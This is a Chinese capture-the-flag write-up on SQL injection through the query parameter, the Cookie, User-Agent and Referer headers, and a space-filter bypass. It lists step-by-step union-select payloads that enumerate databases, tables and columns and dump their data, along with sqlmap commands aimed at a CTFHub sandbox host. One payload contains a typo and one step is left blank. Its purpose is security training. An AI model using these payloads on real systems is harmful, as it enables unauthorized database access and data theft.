一:MySQL结构
主要是使用union联合注入的方法解题:
具体:【sql注入-union注入】 union函数 联合注入_union联合注入-CSDN博客
1.查找注入点:
?id=1 and 1=1
?id=1 and 1=2
?id=1' and1=1#
输入第一句有回显,而后面两句没有回显,说明存在注入
并且判断为整数型注入
2.接下来判断列数
1 order by 1
1 order by 2
1 order by 3order by=group by
执行前两句命令有回显,第三句就没有回显了,所以判断有2列
3.查看回显位置
?id=-1(0) union select 1,2 #
4.爆数据库
?id=-1 union select 1,database()
查看所有的数据库
5.爆表
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
6.爆表eitcfemugv中的列qmtdwyflyp
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='eitcfemugv'
7.爆字段
?id=-1 union select 1,group_concat(qmtdwyflyp) from sqli.eitcfemugv #
还有用sqlmap的方法
sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" --dbs 爆库
sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 爆表
sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 爆列
sqlmap -u "http://challenge-13d382e7f12ec0df.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump爆数据
二:Cokie注入
1.定义:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站。
其实cookie注入与传统的SQL注入基本上是一样,都是针对数据库的注入,就是注入的位置不同,注入形式不同。
2.以下是cookie中常用属性的解释:
Name:这个是cookie的名字
Value:这个是cooke的值
Path:这个定义了Web站点上可以访问该Cookie的目录
Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。
Size:这个表示cookie的大小
3.cookie的生命周期:
cookie有2种存储方式,一种是会话性,一种是持久性。
会话性:如果cookie为会话性,那么cookie仅会保存在客户端的内存中,当我们关闭客服端时cookie也就失效了
持久性:如果cookie为持久性,那么cookie会保存在用户的硬盘中,直至生存期结束或者用户主动将其销毁。
cookie我们是可以进行设置的,我们可以人为设置cookie的有效时间,什么时候创建,什么时候销毁。
4.注意:我们在发送HTTP请求时,发现游览器将我们的cookie都进行了携带(注意:游览器只会携带在当前请求的url中包含了该cookie中path值的cookie),并且是以key:value的形式进行表示的。多个cookie用;进行隔开。
Cookie 注入需要在网页 Cookie 中修改其参数进行注入判断。
我们可以直接使用hackbar在题目页面注入;同时也可以使用bp抓包修改cookie参数
(一)hackbar的方法:
1.查找注入点
在cookie中传入id=1,2发现存在注入点
2.输入:?id=1,页面正常回显,所以判断为数字型注入
3.判断字段数量:
id=1 order by 2
4.查询回显位:
id=-1 union select 1,2
5.爆破数据库:
id=-1 union select 1,database()
6.爆破表:
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
7.爆破rkqzpidrvh表中的列jlxrbsxoju:
id=-1 union select 1,group_concat(column_name)from information_schema.cloumns where table_schema='sqli' and table_name='rkqzpidrvh'
8.爆破列中的所有数据:
三.UA注入
1.原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入。
2.User-Agent是Http协议中的一部分,属于头域的组成部分,(简称UA)。是一种向访问网站提供你所使用的浏览器类型、操作系统、版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。
UA字符串在每次浏览器 HTTP 请求时发送到服务器。
其实UA注入和cookie注入差不多,要在UA请求头中进行SQL注入
例题:
1. 判断为数字型注入
2.查询字段数量:
id=1 order by 2
字段数量为两列
3.查询回显位置:
id=1 union select 1,2
4.爆数据库:
id=-1 union select 1,database()
5.爆表dftfmhwomu:
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6.爆表dftfmhwomu中的列bqghtnngcc:
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='dftfmhwomu'
7.爆字段中的所有数据:
id=-1 union select 1,group_concat(bqghtnngcc) from sqli.dftfmhwomu
四.Refer注入
1. Refer注入原理
(1)Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
(2)Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。
例题:
1.判断为数字型注入:
id=1
id=2
2.查询字段数量:
id=1 group by 2
3.查询回显的位置:
id=-1 union select 1,2
4.爆破数据库:
id=-1 union select 1,database()
5.爆表:
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
6.爆列:
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='gykemkzkmh'
7.爆所有数据:
id=-1 union select 1,group_concat(mlkiauhnmp) from sqli.gykemkzkmh
五.过滤空格
常见的过滤方法:
例题:
因为本题目已经知道是过滤空格的方式了,所以便直接使用空格过滤的方法做题
1.判断为数字型注入:
id=1
id=2
2.查询字数段数量:
id=1#order#by#2
3.判断回显位置:
id=-1/**/union/**/select/**/1,2
4.爆库:
id=-1/**/union/**/select/**/1,database()
5.爆表:
id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
6.爆字数段:
id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='vfgchyknpi'
7.爆所有数据:
id=-1/**/union/**/select/**/1,group_concat(tdnlgtodrm)/**/from/**/sqli.vfgchyknpi